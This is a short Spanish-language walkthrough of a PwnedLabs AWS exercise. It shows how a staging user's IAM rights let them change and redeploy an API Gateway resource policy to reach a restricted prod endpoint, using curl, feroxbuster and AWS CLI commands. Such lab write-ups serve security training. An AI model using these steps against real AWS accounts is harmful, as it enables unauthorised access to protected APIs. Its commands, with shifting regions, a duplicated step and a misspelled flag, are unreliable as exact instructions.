Bypass Restrictions in API Gateway

Bypass Restrictions in API Gateway


AWS PwnedLabs

Al principio nos dan las credenciales:

aws configure

ssh_command.

Hacemos un curl para poder entender mejor la api.

curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev

ssh_command.

Vemos que nos sale un Method not Allowed.

curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev -X OPTIONS

ssh_command.

Ahora tratamos con PATCH ya que es una opcion en access-control-allow-methods.

curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev -X PATCH

ssh_command.

Corremos el siguiente comando para ver cuales endpoints podemos tener acceso.

feroxbuster
-u https://e8r1n4tzyb.execute-api.us-east-1.amazonaws.com
-w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
—filtter-size 42

ssh_command.

Vemos que el nombre del escenario es api y esta en un ambiente de dev.

aws apigateway get-stages --rest-api-id e8r1n4tzyb

ssh_command.

Aqui tratamos de correr el siguiente comando para ver el policy del objeto pero por alguna razon no se puede hacer mas bonito (prettier) ni con jq.

aws apigateway get-rest-apis | jq

ssh_command.

Vemos los politicas para tener acceso a produccion en la ip 172.16.5.10

Para poder cambiar los permisos el usuario deberia de tener el rol para hacerlo. Tratamos de ver si tiene una politica vinculada a ella.

aws iam list-attached-user-policies --user-name staging_eng

ssh_command.

Vemos que la version por defecto es v1

ssh_command.

aws iam get-policy-version --policy-arn arn:aws:iam::386529243945:policy/staging_engineer_policy --version-id v1

ssh_command.

El resultado nos dice que podemos enumerar los APIs y despues recrearla con los cambios.

aws iam get-policy-version --policy-arn arn:aws:iam::386529243945:policy/staging_engineer_policy --version-id v1

ssh_command.

Hacemos los cambios y generamos el api de nuevo.

aws apigateway create-deployment --rest-api-id e8r1n4tzyb --stage-name api

ssh_command.

Despues de hacer los cambios deberiamos de ejecutar el comando y recibir el flag.

curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/prod -X GET

ssh_command.

© 2026 Cu3rv0x